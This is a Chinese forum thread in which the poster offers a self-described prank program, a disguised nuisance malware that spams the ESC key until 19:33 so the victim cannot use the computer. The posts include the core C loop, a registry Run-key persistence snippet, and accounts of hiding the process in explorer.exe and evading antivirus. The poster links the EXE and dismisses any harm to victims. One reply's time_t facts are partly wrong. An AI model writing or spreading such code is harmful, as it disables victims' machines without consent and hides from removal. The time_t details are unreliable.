返回列表 发帖

[原创]再写恶作剧

[watermark]    这个程序有一定的危害,受害者可能不能正常使用自己的计算机了。编写它我足足花费了一个星期的时间。总是没有把问题考虑全面,不得不重新编译生成EXE。比如刚刚写程序的时候为了判断当前时间我用下面的一段程序:
time_t t;
do
{
  time(&t); //得到当前日历和时间。
  keybd_event(27,0,0,0);
  Sleep(200);
}while(strstr(ctime(&t),"19:33")==NULL);
在这个循环条件里面我以前用的是“19:33”,认为到了晚上7点33分就可以退出循环了,接下来测试的时候也没有问题,然后拿出去给朋友做试验的时候发现了漏洞,就是无论到几点,只要是每个小时的19分33秒,仍然可以退出循环。后来我把条件改为“19:33:”,虽然只是多出来一个“:”号,但就可以准确的达到预定的效果了。

    这个程序对计算机数据没有任何破坏,执行后,你不能正常使用计算机,而且症状奇特,绝对是你以前没有遇到过的,建议你用任何杀毒软件对他进行查杀,绝对无毒。如果你实在没有能力修理好你的计算机,请在下午7点30分开启你的电脑,程序帮你自动修复。为了增加交流,请到这里下载生成的EXE程序:

[原创]再写恶作剧

您的表意不明确,我不明白你的意思,烦请明言。

TOP

[原创]再写恶作剧

time_t是一种类型而已。是一个整体,不能分开。
最后一个是分号。C++语法规定每条语句必须以分号结束。
确实问了最“底层”的问题,建议看看C语言的书。

题外话,关于time_t:

Time_t是C/C++ 等编程语言在内部代表/存储日期和时间的一种数据类型。Time_t实际上是一个代表秒数的整数,当它的值为0时,代表的时间是1970年1月1日12:00:00;当Time_t=60时,则表示1970年1月1日12:01:00,依此类推。

所有32位电脑系统都用带符号32位整型来存储time_t的值,也就是说t_time只能用31位二进制数来表示(第一位用来表示正负号),而其最大值转换为十进制是2147483647,换算成日期和时间刚好是2038年1月19日03:14:07am(GMT),而这一秒过后,t_time的值将变成-2147483647,代表的是1901年12月13日8:45:52pm,这样32位软硬件系统的日期时间显示就都乱套了。另外,无法接受time_t为负值的其他功能也将返回错误。

举个实际的例子来说,登陆上Yahoo messenger,给好友发个消息,恩没问题,现在把系统时间更改为2038年1月19日03:14:07am,此时如果再发消息Yahoo messenger就将崩溃。

TOP

[原创]再写恶作剧

这个还谈不上是病毒。
怎么给您解释呢?
刀,可以被人拿出来杀人,但市场上仍然有公开卖菜刀的。

本程序的源代码已经在贴子的一开始就公布了核心代码,就很短。关于进程的隐藏和禁用任务管理器的代码没有写出来,因为这个小程序代码非常长,仅仅隐藏自己不在任务管理器中出现的代码就要写几页,还有写入注册表启动及复制自身的……写得太长没有必要。初学者不喜欢,而且对于老手来说那些技术都是老生常谈了。

如果真是有人拿去害人,只有委屈那些不进本坛看此贴的人了。
公布出去就是让大家学习或抛砖引玉的,学会的人拿去害人倒是他个人素质的问题了。必定是无法两全其美的事情。而且,那也倒不是我们关心的事情……

TOP

[原创]再写恶作剧

远程批量关机,确实很好玩。
C++可以做任何想做的事情,如果学得好的话。

TOP

[原创]再写恶作剧

用下段代码可以复制自身并写入注册表启动项:

  HKEY key;
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
    {
        RegSetValueEx(key,"mwy",0,REG_SZ,(byte*)"c:\\mwy.exe",10);
        RegCloseKey(key);
    }

这样就不必再手动拖到“开始”菜单里面的“启动”项了。

TOP

[原创]再写恶作剧

闲来无事,写着玩的,楼上的朋友有何高见,欢迎指出!

TOP

[原创]再写恶作剧

     这个程序其实用到了注册系统进程的代码,就是程序运行后没有进程,可能提示有病毒的原因就是在这里。
     程序本身是模拟疯按键盘上的ESC键,如果只写这么多的话应该不是病毒。主要是注册了系统进程,把程序本身集成到explorer.exe进程上去了。

TOP

[原创]再写恶作剧

所以,这个程序在很多计算机上执行都无病毒的提示。

TOP

[原创]再写恶作剧

下面引用由haode1112006/04/28 03:40pm 发表的内容:
程序确实好玩,但是论坛实在太慢了!
又找到一位知音。您是哪里的朋友?

TOP

[原创]再写恶作剧

下面引用由huangbi597572006/05/01 09:40pm 发表的内容: keybd_event(27,0,0,0);
问问高手,keybd_event( )这个函数的功能和具体形叁是什么?
笨! 偶不是高手,这个函数的功能是自动执行键盘上的某些键。第一个参数27代表ESC键。

TOP

[原创]再写恶作剧

程序还有写注册表的操作,因此会有被认定是病毒的可能。
现在杀毒软件不停的升级,而我的程序还是以前写的。
这个贴子没有什么技术含量,如果不是你们回复,我都不好意思再把它顶上来了。

TOP

返回列表 回复 发帖